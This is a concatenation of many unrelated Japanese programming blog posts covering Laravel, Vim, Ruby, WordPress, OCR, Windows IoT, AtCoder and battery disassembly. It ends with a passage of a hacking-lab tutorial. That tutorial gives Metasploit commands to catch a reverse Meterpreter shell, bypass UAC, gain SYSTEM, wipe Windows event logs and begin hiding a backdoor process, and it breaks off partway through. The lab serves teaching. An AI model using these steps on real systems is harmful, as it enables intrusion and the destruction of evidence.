 When I tried to verify the installation following the guide, I can not find the sample program called `deviceQuery.exe`. The solution is that we need to compile the corresponding Microsoft Visual Studio Solution File (e.g., “Samples_vs2019.sln”), **as administrator**, and then `Build Solution`.![2021-08-13 (3).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1065468/63c768bc-c8b9-76f3-9c9d-865239b44097.png)
 The file `deviceQuery.exe` will be in the `Debug` directory. [Here]('https://forums.developer.nvidia.com/t/devicequery-exe-cannot-be-located-after-install/37940/11') is the reference.
9V電池を分解して単6形を取り出す方法。

#必ず読んで下さい
今回行う「分解して単6形を取り出す」は電池の“解体”にあたる行為です。
<font color="red">ご自身で分解することがあるならば、__自己責任__でお願いします。</font>

#9V電池
９V電池には二種類の種類があります。
「6LR61」「6LF22」


#6LR61分解手順
①電池の周りのカバーを外す。
②電池の電極付近に繋ぎ目があるので、ニッパーやペンチなどで破壊していきます。
③破壊出来ると6本繋がった電池が出てきます。
④ケースから取り出す。
⑤単6電池が出てきます。
⑥6LR61電池の<font color="red">＋極</font>と<font color="blue">－極</font>の極の向きは、一般的な電池と向きが逆です。テスターなどで、<font color="red">＋極</font>と<font color="blue">－極</font>を__確認__してください。

![スライド1.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/675881/c65370da-346d-8646-0231-91db66ed2fe9.jpeg)

#6LF22分解手順
6LR61分解手順と同じ手順で分解すると電池が重なっている状態で出てくる。
![IMG_3572.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/675881/faebffb2-498b-66a6-f7fc-95ae27de6215.jpeg)
Laravel8 docker テスト用データベース作成

今回はテストコード実行用のデータベース作成方法についてご紹介します！
データベースを使ったテストコードを実行する際、本番環境で使用しているデータベースでテストしてしまうと中身のデータが消えてしまい大変なことになりかねません。
（ポートフォリオ作成で何度も消しました、笑）
テストコードを実行する際は必ずテスト用のデータベースを作成しましょう！

##.env.testingの作成
まずは`.env.testing`ファイルを作成します。
ファイルの中身は`.env.example`ファイルをコピペしましょう。
そして、test環境の設定をするため下記の点を書き換えます。

```.env.testing
APP_ENV=local
↓
APP_ENV=test

APP_KEY= //空にしておく

//接続したいテスト用DBの情報を記述
DB_CONNECTION=mysql
DB_HOST=db
DB_PORT=3306
DB_DATABASE=test_db
DB_USERNAME=root
DB_PASSWORD=?????
```

あとはキャッシュの削除をしないと反映されなかったりするので下記コマンドを実行しましょう。

```
php artisan config:cache
```

##テスト用データベースの作成

```ターミナル
mysql -u root //ログイン

create database test_db名;　//データベース作成

exit
```

##phpunit.xmlの設定変更
次に`phpunit.xml`を開き、APP_ENVの値をtestingに変更します。

```phpunit.xml
<php>
    <env name="APP_ENV" value="testing" force="true"/>
    <env name="DB_CONNECTION" value="mysql"/>
    <env name="BCRYPT_ROUNDS" value="4"/>
    <env name="CACHE_DRIVER" value="array"/>
    <env name="MAIL_DRIVER" value="array"/>
    <env name="QUEUE_CONNECTION" value="sync"/>
    <env name="SESSION_DRIVER" value="array"/>
</php>
```

##アプリケーションキーの設定
最後にコマンドを実行して`.env.testing`に新規でアプリケーションキーを設定します。
`※これをしないと.envのAPP_KEYを参照してしまい、本番用のDBのデータが全部消えるので注意してください！`

```
php artisan key:generate --env=testing
```

##注意点
`docker-compose.yml`などで環境変数に`APP_ENV`や`DB_DATABASE`などの設定をしている場合、注意しなくてはいけない箇所があります。
`phpunit.xml`で環境変数を上書きする際に、デフォルトだと`<server>タグ`になっていますが、これを`<env>タグ`に変更する必要があります。

```
<php>
    <server name="APP_ENV" value="testing" force="true"/>
    ・・・
　　　　　　　　↓ //<env>タグに変更
    <env name="APP_ENV" value="testing" force="true"/>
    ・・・
</php>
```

#### タグの違い

```
$_SERVER['APP_ENV'] = 'testing'; //<server>タグの場合
$_ENV['APP_ENV'] = 'testing'; //<env>タグの場合
```

##テスト用データベースに本番データベースを反映
最後に本番データベース環境のmigration情報をテスト用データベースに反映させます。
こうすることで本番環境で使用しているデータベースの内容をテスト用データベースでも使用できます。
わざわざ本番環境と同じテーブルやカラムを手動で作成する必要がないので非常に楽です！

```
php artisan migrate --env=testing
```

完了したら実際に反映されているか確認しましょう。

##参考サイト

https://tenrakatsuno.com/programing-note/laravel-test-database/

https://qiita.com/akkino_D-En/items/024661836b7570d78704


https://qiita.com/ucan-lab/items/0f7100f08a062e892c52
Vim操作チートシート


コマンドモードでよく使うもの

| キー | 効果 | Center align |
|:-----------|:------------|:------------:|
| Ctrl + ww       | 画面を移動する        |         |
| :term     | 新しいターミナルが立ち上がる（水平分割）     |     |
| :vert term  | 新しいターミナルが立ち上がる(垂直分割)     |     |
| :new [ファイル名]    | 新しい画面でファイルが開く      |   |
| v    | ビジュアルモード      | yでコピー  |
| shift + v    | ビジュアル行モード      | yでコピー  |
| Ctrl + v    | ビジュアル矩形モード      |   |
| Shift + I    | 複数行の同時編集      | ビジュアル矩形モードから  |
| Ctrl + wv   | 開いてるファイルを別画面で見れる     |         |
AirtableのREST API使ってみた


Airtableとは、Web上で利用できるExcelシートのようなもの。
色々なことに利用できそうなので、pythonで簡単に触ってみました。


1. https://www.airtable.com/ にアクセスし、サインアップ
2. 登録を行い、サインイン
3. Add a Baseをクリックし、ExcelのBookのようなものを作成
4. 直感的に色々追加。

めちゃくちゃ簡単ですね。

その後「REST API」のページに遷移してみるとなんとびっくり。
自分が作成したBaseに対してのAPIの利用例が出てきました。
「あんたがcurl使うならこんな感じだよ〜」「あんたがJSで呼ぶならこんな感じだよ〜」って記載されてて、便利だなぁと思いました。

開発者に優しいUX...
pythonだったらもっと嬉しかったけど...

そんなこんなで、作成したソースコードが下記。

```python 
# -*- coding: utf-8 -*

import requests
import json

apiData = requests.get('https://api.airtable.com/XXXXXXXXXXXXXXX?api_key=YOUR API KEY')

print(apiData.text)

headers = {
  'Authorization': 'Bearer YOUR API KEY',
  'Content-Type' : 'application/json'
}
post_data = {
  "records": [
    {
      "fields": {
        "Name": "pythonData",
        "ID": "1",
        "comment": "Python to Airtable"
      }
    }
  ]
}
requests.post('https://api.airtable.com/XXXXXXXXXXXXXXX',json.dumps(post_data),headers=headers)
```

うまく動いて、登録されました。  
API Keyは自分のアカウント情報から取ることができます。
[ Ruby ] %記法で楽をする！ 種類や使い方の簡潔まとめ

#概要
今回、%記法について知っている範囲内で簡単にまとめてみました！　
%記法を使うことで可読性も良くなりますので是非使ってみてください。
間違い、ご指摘があればコメントいただけると幸いです。

 **環境**
Ruby 2.7.2

## %w
`%w（要素 半角スペース 要素)`
文字列の配列と同じ意味になります。

```ruby
p %w(1 2 3 4 5)
  #=> ["1", "2", "3", "4", "5"]
```

`%w(要素 \半角スペース 要素)`
要素にスペースを含めることができます。

```ruby
p %w(first\ name middle\ name last\ name)
 #=> ["first name", "middle name", "last name"]
```

##%W
`%W`大文字
Wを大文字にする事で式展開することができます。

```ruby
firstname = "ファーストネーム"
middlename ="ミドルネーム"
lastname = "ラストネーム"

p %W(#{firstname} #{middlename} #{lastname})
  #=> ["ファーストネーム", "ミドルネーム", "ラストネーム"]
```
##%i
`%i(要素 半角スペース 要素)`
シンボルの配列を作ることができます。

```ruby
p %i(firstname middlename lastname)
  #=> [:firstname, :middlename, :lastname]
```

##%I
`%I`大文字
Iを大文字にする事で式展開することができます。


```ruby
firstname = "ファーストネーム"
middlename ="ミドルネーム"
lastname = "ラストネーム"
p %I(#{firstname} #{middlename} #{lastname})
 #=> [:ファーストネーム, :ミドルネーム, :ラストネーム]
```

##%q
`%q(文字列)`
クォーテーショなしで文字列を書くことができます。

```ruby
puts %q(私の名前はfooです。)
 #=> 私の名前はfooです。
```

##%Q
`%Q`大文字
Qを大文字にする事で式展開することができます。


```ruby
name = "私の名前はfooです。"
puts %Q(#{name})
 #=> 私の名前はfooです。
```
npx で vue-storefront/cli と Mono が混在していると失敗するメモ

```
$ npx @vue-storefront/cli init
Cannot open assembly 'init': No such file or directory.
```

:cry: :cry:

npx が Mono のコマンド `cli`(ややこしい)を何故か呼ぼうとして失敗します.

Mono をアンインストールするのが手ではありますが, 他のところで Mono を使っているかもしれません.

https://docs.vuestorefront.io/v1/guide/cookbook/setup.html#_4-storefront-cli-at-your-service

npm(or yarn) で vsf をインストールして, `vsf init` で対応します.

```
$ npm install -g  @vue-storefront/cli
$ vsf init 
```
WordPress｜カスタム投稿タイプ｜アーカイブでのカテゴリー別ページネーションの実装

# はじめに
カスタム投稿タイプのアーカイブページにてカテゴリー別でもページネーションができるようにするために調べた内容をメモしておきます。

# アーカイブでのページネーションの実装
よく見るのが下記のようなページネーションの実装方法

```php
$wp_query->max_num_pages;
the_posts_pagination(
  array(
    'prev_text' => __( '前へ', 'textdomain' ),
    'next_text' => __( '次へ', 'textdomain' )
  )
);
```
この方法だとせっかくカスタム投稿タイプで構成しても
管理画面の「設定 > 表示設定 > １ページに表示する最大投稿数」に影響されたページャーになってしまいます。

なので上のコードを少しいじって...

```php
$wp_query->max_num_pages = $post_query->max_num_pages;
the_posts_pagination(
  array(
    'prev_text' => __( '前', 'textdomain' ),
    'next_text' => __( '次', 'textdomain' )
  )
);
```
グローバル変数「$wp_query」に表示したいクエリ情報を代入することでページャーを正しく表示することができました。

# まとめ
**全体コード**

```php
<?php
//クエリ
$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;
$query_args = array(
  'category_name' => 'カテゴリースラッグ',
  'post_type' => 'カスタム投稿タイプ',
  'posts_per_page' => 12, //最大表示件数
  'paged' => $paged,
  'order' => 'DESC', //3,2,1｜c,b,a
);

//記事ループ
$post_query = new WP_Query($query_args);
if ($post_query->have_posts()):
  while ($post_query->have_posts()): $post_query->the_post();

・・・ 記事の内容 ・・・

endwhile; endif;

//ページネーション
$wp_query->max_num_pages = $post_query->max_num_pages;
the_posts_pagination(
  array(
    'prev_text' => __( '前', 'textdomain' ),
    'next_text' => __( '次', 'textdomain' )
  )
);
wp_reset_postdata();
?>
```
streamlit を使ってみる

# 目的
streamlit を試してみる

# 動機
streamlit を試してたい

# 環境構築
* 仮想環境を構築
    * そうでなければ権限の問題で streamlit コマンドを叩けない
    * 権限問題は後日どこかで調べておく
* streamlit を pip install

```
pip install streamlit
```

# テスト
* 以下のコードを書く

```
# coding: utf-8
import streamlit as st
st.title('My App')
```

* 実行

```
> streamlit run .\test_stramlit.py
```

* アクセス

```
http://localhost:8501
```

* 結果

![キャプチャ1.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/402211/066856fd-83b6-7289-e506-75ddd4eb12b1.png)

# 参考文献

https://blog.amedama.jp/entry/streamlit-tutorial
python：tkinterで範囲を選択し、その範囲内の文字をpyocrで文字認識

#・画像の好きな範囲を指定して、文字認識したい。
理由
①紙資料のデジタル化促進の手段の１つとして、知りたい
　見積書とか、FAXとか紙ベースの資料は多い。（主観ですが、主に地方）
②無料で行いたい。
　いきなり有料の製品を使う度胸はありませんので、まず有用性を無料で知る。

#####参考　Qiita記事
tkinterで画像の範囲指定する方法
https://qiita.com/hisakichi95/items/47f6d37e6f425f29c8a8
pyocr,tesseractの使い方
https://qiita.com/nabechi6011/items/3a367ca94dbd208efcc7
###・内容
1.OCRを行いたい画像を読み込む
2.その画像の中でさらに読み込みたい文字の範囲を指定する（下画像の赤枠）
3.赤枠の範囲を切り取り、新たな名前をつけて保存する
4.保存したデータを１つずつ順にOCRを実行する
#####範囲を指定したときの画像
![screen.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/698556/b0d08f78-0d5b-e9f6-82e7-39fd9fd01a0d.png)
###・コード
①内容の1.~3.の内容

```python:tkinter,画像の処理
import tkinter
import glob
from PIL import Image
import shutil
import os

#範囲を指定して切り取った画像の保存場所："ocr_images"
#古い画像を削除するため、毎回フォルダ毎削除し、再度フォルダを作成
shutil.rmtree("ocr_images")
os.makedirs("ocr_images")

#OCRを行いたい、未処理の画像の保存場所："images"
pngs = glob.glob("images/*.png")
img1 = Image.open(pngs[0])
W,H = img1.size

#指定範囲した画像に名前をつける番号：cnt
cnt = 1

#コールバック関数：タッチパッドを押した時
def Push(event):
    global x_start,y_start
    x_start = event.x
    y_start = event.y
    canvas.create_rectangle(x_start,y_start,x_start+1,y_start+1,outline="red",tag="rect")

#コールバック関数：タッチパッドから指を離したとき
def Release(event):
    global x_end,y_end,cnt
    x_end = event.x
    y_end = event.y
    canvas.create_rectangle(x_start,y_start,x_end,y_end,outline="red")
    img = Image.open(pngs[0])
    img.crop((x_start,y_start,x_end,y_end)).save(f"ocr_images/{cnt}.png")
    cnt = cnt + 1

#コールバック関数：タッチパッド上で指を動かしている時
def Motion(event):
    x_end = event.x
    y_end = event.y
    canvas.coords("rect",x_start,y_start,x_end,y_end)

#tkinterで画像の表示を行う
root = tkinter.Tk()
root.attributes("-topmost",True)
root.title("image select")

canvas = tkinter.Canvas(root,width=W,height=H,bg="black")
gazou = tkinter.PhotoImage(file=pngs[0])

canvas.create_image(int(W/2),int(H/2),image=gazou)
canvas.pack()

#コールバック関数の設定
root.bind("<ButtonPress-1>",Push)
root.bind("<ButtonRelease-1>",Release)
root.bind("<Button1-Motion>",Motion)
root.mainloop()

#OCR・tesseractを実行するpyファイルの呼び出し
import ocr
```

②.4の内容　上記の「import ocr」で呼び出す「ocr.py」データ

```python:pyocr,tesseract
import sys
import pyocr
import pyocr.builders
from PIL import Image
import glob

pngs = sorted(glob.glob("ocr_images/*.png"),reverse=False)

tools = pyocr.get_available_tools()
if len(tools) == 0:
    print("No Ocr Tools")
    sys.exit(1)
tool = tools[0]
print("Will use tool")

langs = tool.get_available_languages()

#tkinterで切り取った画像を順々にOCRを実行していく
for i in pngs:
    txt = tool.image_to_string(Image.open(i),lang="eng+jpn",builder=pyocr.builders.TextBuilder())
    print(txt)
```
###・所感
膨大な紙資料を目で見て、Excelに手入力して、、、というのを経験している身として、OCRは非常に魅力的です。
紙資料に対しての精度はわかりませんが、OCRの勉強の第一歩としては満足です。
Windows10 IoT Enterprise 雑感

#触ってみた感想

+ アプリ動作はほぼWindows10 Proそのもの

　例えばMicrosoft StoreやEdgeなど初期プログラムがないことを除けば、ほぼWindows10 Proとして使える。
　リモートデスクトップのクライアントにもサーバにもなれる。
　非ストアアプリ、例えばGoogle ChromeやAcrobat Reader、7-zip、自社開発のWin10向けアプリは問題なく・動作しているように見える。

+ WindowsUpdateについて

　

+ ロックダウン機能は魅力的だが結構複雑、面倒

　基本的にはCUI(PowerShell)やプロビジョニングパッケージ(*1)を使ってカスタマイズする必要がある。
　設定用アプリを自社開発されている製品(ex. Epson Direct)もあるようだ。
　レジストリならまだGUIでも管理できるが…。

>*1:構成情報のコンテナのようなもの。[.ppkg]ファイルを作成してWクリックで適用、
>　「設定」アプリからアンインストール、で管理する。
>　以下である程度説明する

+ 怖いというか面倒くさいというか

　【設定を戻すのにリカバリが必要になるパターンがある】
　→プロビジョニングパッケージの削除で設定が戻らないものがある
　　→打ち消すプロビジョニングパッケージのインストールで戻す
　　　→打ち消す記述がないもの(Enable/Disabelではなくそもそも記述なくす、
　　　　レジストリで言うところのキー削除ができない）がある
　　　　→リカバリ。しかも場合によっては失敗する…。

# ロックダウン機能
参考資料

https://docs.microsoft.com/ja-jp/windows-hardware/customize/enterprise/enterprise-custom-portal

https://www.wannko.net/windows10/etc/lock.html

## ロックダウン機能の有効化
+ コントロールパネル（＞プログラムのアンインストール）＞Windowsの機能の有効化または無効化＞①「Device Lockdown」または②「デバイスのロックダウン」と表記されている部分の有効化
+ Windows10 Proにもあり、全機能のチェックボックスがあるがMSドキュメント的にはIoTかEnterpriseかEducationのみ有効と書かれている、実際10Pro 20H2だと思うように有効にならなかった

→これで【機能がインストール】されるが、有効化するにはCUI(PowerShell)またはプロビジョニングパッケージを作成し利用する必要がある。

## 各機能ごとの起動と説明

+ 各機能を起動するには、それぞれ①PowerShellで起動コマンドを叩くか②機能を定義したプロビジョニングパッケージをインストールする。
+ 各機能ごとの詳細な内容は別記事に譲る。

# プロビジョニングパッケージ(.ppkg)とWindows ICD

+ Windows ICD=Windows イメージおよび構成デザイナー。
+ プロビジョニングパッケージ(.ppkg)ファイルをGUIで作成できる。
+ Windows ADK に含まれる。ADKのインストーラから必要なものをインストールする。
+ 定義ファイルを作成するツールなので、適用したいPCとは別のファイル作成用PC【A】にインストールして.ppkgファイルを作成、
OSの初期設定を終えた対象PC【B】にUSBメモリなどで.ppkgファイルを移動し適用する。
+ <strong>実際作業するのは以下【注意点】も確認してからにしてほしい。</strong>

以下参考資料

https://docs.microsoft.com/ja-jp/windows-hardware/get-started/adk-install

https://docs.microsoft.com/ja-jp/windows/configuration/provisioning-packages/provisioning-install-icd

https://www.wannko.net/windows10/etc/icd.html


細かい作成方法や具体的な設定は上段「Windows10 Enterpriseでロックダウン機能を有効化する方法」も参考に。

## 構成ファイルの適用と削除

+ 適用は.ppkgファイルWクリックでよい。全ユーザに適用されるように見えるが管理者ユーザで実施したほうが安心だとは思う。
+ 適用後再ログイン、または再起動後に適用される。項目によっては適用時に「１分以内に再起動します」とウィンドウが出て強制的に再起動が走るので注意。
+ Usersグループユーザで適用するには管理者アカウントでの認証が勿論必要。
+ 削除は設定アプリ＞アカウント＞職場または学校にアクセスする＞右側 関連項目内「プロビジョニング パッケージを追加または削除する」から行う。Usersグループユーザだと実行時に管理者アカウントでの認証を求められる。


## 【重要】注意点

+ 「アンインストール時に元に戻される設定」という記事がある＝ここにないものは<strong>構成ファイルを削除/アンインストールしても元に戻らない。</strong>
そしてロックダウン機能が格納されるSMISettings、UnifiedWriteFilterは「元に戻される設定」に含まれていない。
+ つまり機能を停止するには、<strong>不要な構成ファイルを削除後に設定項目を「Disable」「False」等に設定した打ち消し用構成ファイルなどを用意し、インストールしないと有効化した機能を無効にできない</strong>。
+ しかも、例えばSMISettings＞KeyboardFilter＞Enableなど、SMISettings配下のEnableは「False」がないため<strong>上書きで打ち消すことができない（ようにみえる）項目がある。</strong>
+ またこれは厳密には「無効化する」という定義を加えているわけで、元に戻しているわけではない。
+ このため、<strong>設定を無効にするには初期化/リカバリが必要になることがある</strong>（に見える）。

https://docs.microsoft.com/ja-jp/windows/configuration/provisioning-packages/provisioning-uninstall-package

+ 実際のところ、構成ファイルを削除すると無効になる機能もある。しかし無効にならない機能もある。つまり削除によって無効になっていることが保証されない＝安心を得るにはリカバリしかない。
Windows10 IoT Enterprise 検討メモ

#動機

・サイン用PCの入替検討
・RSSで特定の内容をぐるぐる回しているだけ
・Win10にセキュリティソフト＋表示ソフトで社内LAN接続
・意外と（CPU）負荷が高い
・熱暴走で止まる

#過去経緯

・Celeron、Atomだと性能不足？でカクカクしたりフリーズしたりする
・排熱が上手でないと熱で止まる
・機器は前任者が選定。恐らく2015～16年ごろ
＝Win7で運用してる時期

##→製品①：Intel Compute Stick STK2m3W64CC
https://ark.intel.com/content/www/jp/ja/ark/products/91980/intel-compute-stick-stk2m3w64cc.html

https://kakaku.com/item/K0000887988/

６万。業販でもう少し安い
これでも熱暴走するケースがある
eMMCがダメになって認識しなくなり故障する個体が出てくる：２～５年で発生
ついに出荷終了

##→製品②：Intel NUCシリーズ
https://ark.intel.com/content/www/jp/ja/ark/products/series/129702/intel-nuc-mini-pc-with-7th-generation-intel-core-processors.html

第６、第７シリーズ
４～８万、業販でもう少し安い。いいけど高い、もったいない感じ

##候補出し１

・昨今のCeleron、Atomならコア数増えたりで状況変わってるのでは？
・もう少し安くならんかね
→そこで見つけたのがWindows10 IoT Enterpriseが入っている端末たち

##Windows10 IoT？

・Win10Home/Proと同じカーネルで互換性高い
・そもそも機能が制限されていて軽くて小さい
・さらに機能制限（ロックダウン機能）によってセキュリティを高め／用途を制限できる

##検討１
・熱暴走で止まる≒高負荷の一因がセキュリティソフトでは？
・機能制限でセキュリティ担保し負荷下げれば低価格端末でも維持できるのでは？

##情報検索
https://docs.microsoft.com/ja-jp/windows-hardware/manufacture/desktop/iot-ent-overview

https://monoist.atmarkit.co.jp/mn/articles/1808/29/news012.html

https://www.wannko.net/windows10/etc/lock.html

あまり情報がない。自分で触らないとわからなそう。
→Windows10 IoT Enterprise 雑感　に続く
UnityでListの中身をDebug.Logに表示する

using System.Linq;
と書いた上で

Debug.Log(string.Join(", ",list.Select(obj => obj.ToString())));

listの中に好きなリストを突っ込む
いいゾ～コレ

参考
https://qiita.com/shiratori1221/items/2e35dd53fcbcab42d6d9
のコメント欄
ありがとうございます
Pandas のMultiindex、pivot_table関連の記事をまとめる。

## 概要

業務でMulitiIndexやpivot_tableを使うことが何回かあった。
見る度に忘れるので、各種記事のリンクを貼る。

## リンク集

- MultiIndexやlevelのまとめ：[PandasのMultiIndexについて理解する](https://deepage.net/features/pandas-multiindex.html)
- pivot_tableの基礎 : [Pandasのpivot_tableの全引数を解説](https://own-search-and-study.xyz/2018/10/14/pandas%E3%81%AEpivot_table%E3%81%AE%E5%85%A8%E5%BC%95%E6%95%B0%E3%82%92%E8%A7%A3%E8%AA%AC/)
- pivot_tableの階層を変えたい時： [pandas.DataFrame.swaplevel](https://runebook.dev/ja/docs/pandas/reference/api/pandas.dataframe.swaplevel)
- pivot_tableの整形について：[Pandasのapplyとpivotとswaplevelを使った表の整形方法](https://qiita.com/grachro/items/8da18678eaae0caefcb8)
- (その他、順次追加してく。)

## おもったこと

やっぱ公式ドキュメントは読まなきゃいけないよね。
【ポートフォリオ】未経験がLaravelでポートフォリオを作成した【勉強用Q&AサイトScola】

##はじめに

未経験者がlaravelを使用し、webアプリケーションを作成してみたのでアプリの紹介をさせていただきます。

##アプリ概要

勉強用Q&Aサイト「Scola」

- わからないところを質問投稿すると回答がもらえる
- 写真を撮ってアップロードも可能
- 過去の質問をキーワード検索できる

サイトイメージ
![scola使用イメージ.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/898247/f22e40a5-9f8d-a725-fcbc-6c346cb00fcc.gif)

##制作背景

現在オンライン家庭教師でライン質問対応をしています。私は生徒と直接やりとりをしていく中で、実に多くの子が勉強の途中でわからないところにぶつかり詰まってしまっていることに気がつきました。

最近では有名大の大学生などが質問に答えてくれるサービスも増えてきていますが、そのほとんどが有料です。

勉強でちょっとわからないことがあるだけなのに親からクレジットカードを借りて課金をするのは子供にとってハードルが高いと思われます。 そこで料金のかからない勉強専門の質問サイトがあれば、生徒の勉強の手助けになるのではないかと思い、制作に至りました。

## 機能一覧

- ユーザー登録、ログイン
- CRUD
- コメント機能
- 画像アップロード
- タグ機能
- いいね機能
- キーワード検索
- タブ分類機能
- ページネーション
- レスポンシブデザイン




## 工夫した点

- 過去の類似の質問を調べられるキーワード検索、タグ機能を実装した
- 質問テンプレ回答率を上げるため、わからないところを明確に質問できるようテンプレートを用意した。
- いいね機能参考になった質問にいいねを押すことで、良問や良回答がすぐにわかるよう配慮した。
- 解決ステータス質問が現在も回答を求めているかが一目でわかるようステータス機能を実装した。


## 使用技術

### 設計
- figma
- drow.io

### フロントエンド
- HTML
- CSS
- Vue.js
- bootstrap

### バックエンド
- PHP 7.3.28
- Laravel 6.20.31

### データベース
- Postgres 13.3

### 開発
- vim
- Docker Desktop for Mac
- Laradock
- Git
- GitHub

### 本番環境
- heroku
- AWS(S3)

## ER図
![ER図.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/898247/54f11b62-8d72-c955-d65b-fe1b110cda05.png)

## システム構築図
![システム構築図.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/898247/9cc0e63b-72cb-63d1-4c19-a5fadd4eaecc.png)


## 今後やりたいこと

- EC2でのデプロイ
せっかくなのでAWSにもっと挑戦していきたいです。herokuは最初の立ち上げが遅いのもちょっと気になります。

- マークアップ機能の搭載
赤文字が使えるだけでだいぶ血の通った回答ができるようになります。太字や文字式も使えれば解説がよりわかりやすくなるんじゃないかと思います。


## 感想

laravelの画像表示にかなりてこずってしまいました。原因は小さなミスだったのですが（ローカルでシンボリックリンクを作成してしまった）、原因の特定までにたくさんの時間を使ってしまいました。時間をかけるようなエラーではないので、誰か他の人にアドバイスをもらえれば何日も無駄にならなかったかもしれません。独学の難しさを感じました。
AtCoderログ：0071 - ABC 091 B

# 問題

https://atcoder.jp/contests/abc091/tasks/abc091_b

## 問題文
> 高橋君は青いカードを $N$ 枚，赤いカードを $M$ 枚持っています。 カードにはそれぞれ文字列が書かれており，$i$ 枚目の青いカードに書かれている文字列は $s_i$，$i$ 枚目の赤いカードに書かれている文字列は $t_i$ です。
> 高橋君は，文字列を $1$ つ言います。 そして，全てのカードを確認し， その文字列が書かれた青いカードを $1$ 枚見つけるごとに $1$ 円貰えます。 また，その文字列が書かれた赤いカードを $1$ 枚見つけるごとに $1$ 円失います。
> なお，高橋君の言った文字列と，カードに書かれた文字列が完全に一致していた場合のみを考えます。 例えば，高橋君が atcoder と言った場合，atcoderr，atcode，btcoder などと書かれた青いカードがあってもお金は貰えません(逆に，このような文字列が書かれた赤いカードがあってもお金を失うことはありません)。
> 高橋君は，最大で差し引き何円貰うことができるでしょうか？
> ただし，違うカードに同じ文字列が書かれていることもあることに注意してください。

## 制約
> ・$N,M$ は整数
> ・$1 \le N,M \le 100$
> ・$s_1,s_2,\ldots,s_N,t_1,t_2,\dots,t_M$ は全て長さ $1$ 以上 $10$ 以下の文字列で，英小文字のみからなる

## 収録されている問題セット
- [AtCoder に登録したら次にやること](https://qiita.com/drken/items/fd4e5e3630d0f5859067) ([第07問類題](https://qiita.com/drken/items/fd4e5e3630d0f5859067#%E7%AC%AC-7-%E5%95%8F--abc-085-b---kagami-mochi-200-%E7%82%B9))

# 回答
## 回答1 (AC)
異なるカードに同じ文字が書かれている可能性があることから、map 型の変数を使って同じ文字の情報をまとめる必要があります。ある文字列が青いカードに書かれていれば +1 円、赤いカードに書かれていれば -1 円 となるので、map 型の変数で各文字列ごとにもらえる金額を集計するのが良いでしょう。

赤いカードと青いカードの情報を読み込んだ後、map 型の変数 money に対し、key をカードに書かれた文字列、value をもらえる/支払う金額として集約していきます。そして map の各 value に紐付いた key から最大金額を求め、それを出力することになります。

気をつけないといけないのは出力値です。単に mmax としてしまうと、最大がマイナスの場合に、お金を支払うことになってしまいます。しかしカードに書かれていない文字列を言えばもらえるお金は 0 円となり、支払わない方法は常に存在しますので、マイナスのお金をもらう、つまりお金を支払うのは避けられます。従って、出力する金額は max( mmax, 0 ) になります。

ここまでの処理をまとめると以下のコードになりました。

```C++:abc091b-1.cpp
#include <bits/stdc++.h>
using namespace std;

int main() {
  int n;
  cin >> n;

  string card;
  map<string,int> money; 
  for ( int i=0; i<n; i++ ) {
    cin >> card;
    money[card] += 1;
  }

  int m;
  cin >> m;
  for ( int i=0; i<m; i++ ){
    cin >> card;
    money[card] -= 1;
  }

  int mmax = -1000;
  for ( auto i=money.begin(); i!=money.end(); i++ ) {
    if ( (i->second)>mmax ) {
      mmax = (i->second);
    }
  }

  cout << max( mmax, 0 ) << endl;
}
```
上のコードは $N+M$ 回の繰り返しを2回しするので、計算量は $O(2(M+N))$ となります。$N,M$ はともに小さい値なので、十分高速に処理可能です。

# 調べたこと
## [AtCoder の解説](https://atcoder.jp/contests/abc091/tasks/abc091_b/editorial) → [ユーザ解説](https://blog.hamayanhamayan.com/entry/2018/03/18/083619)
もらえる金額が最大になる文字列は赤いカードに書かれている必要がある(青いカードにしか書かれていないともらえる金額はマイナスになる)ので、青いカードに書かれた文字列だけで考えれば良いとのことでした。こうするとわざわざ map を持ち出す必要が無いので、コードもシンプルになりますね。また、このとき計算で算出される最大金額の最小値は 0 なので、回答1のようにマイナスを考慮する必要もないようです。

## [AtCoder の解説](https://atcoder.jp/contests/abc091/tasks/abc091_b/editorial) → [公式解説](https://img.atcoder.jp/arc092/editorial.pdf)
ユーザ解説と同じでした。

# リンク
## 前後の記事
- 前の記事 → [AtCoderログ：0070 - ABC 213 C](https://qiita.com/RoadLynton/items/cd5dfbaee171f7214bf4)
【ハッキング・ラボ⑧】Windows7をハッキングする〜隠蔽化〜

Windows7に対して、ログ削除や隠蔽化等、侵入した形跡を消す方法を主に学んでいきます。
<br>
まとめ記事（①〜⑯をまとめてます）
[【ハッキング・ラボのつくりかた】をやってみた](https://qiita.com/nakatatsu711/items/e90e6e0962bb787bf4a9)



## システム環境
`仮想化ソフト`：VirtualBox 6.1.0
`ホストOS`：Windows10
`ゲストOS1`：Kali Linux 2020.1
`ゲストOS2`：Windows7

攻撃端末はゲストOS1、ターゲット端末はゲストOS2です。
IPアドレスはゲストOS1が10.0.0.2、ゲストOS2が10.0.0.102です。



## ログ削除
侵入すると、ログという形で形跡が残ってしまいます。
ここではログを削除する方法を学びます。

バックドアは既に設置しているので、Kali Linuxのmsfプロンプトで以下のコマンドを実行してリバースシェル接続を行います。

```:msf5
> use exploit/multi/handler
> set payload windows/meterpreter/reverse_tcp
> set LHOST 10.0.0.2
> exploit
```

UAC機能をバイパスし、SYSTEM権限を奪取します。
Meterpreterプロンプトから以下を実行します。
また、今回セッションを指定する場合はすべてセッション1を指定します。

```:msf5
> use exploit/windows/local/bypassuac
> set SESSION 1
> set payload windows/meterpreter/reverse_tcp
> set LHOST 10.0.0.2
> exploit
```

```:meterpreter
> getsystem -t 1
```

Windowsシステムのログはイベントログという形で記録されています。
イベントログはイベントビューアーで確認できます。

clearevコマンドを実行すると、Application、Security、Systemの3種類のイベントログが削除されます。

```:meterpreter
> clearev
```



## 隠蔽化
Windows7でタスクマネージャーを起動し、Processタブを表示します。

evil.exeを用いてリバースシェル接続していた場合、Processタブにevil.exeが存在します。
これでばれてしまう可能性があるため、evil.exeプロセスを隠蔽化して侵入がばれにくいようにします。

Meterpreterプロンプト上で実行します。

まず、psコマンドでWindows7で動作しているプロセスを表示します。

```:meterpreter
> ps
```

隠蔽化にはmigrateコマンドを使います。
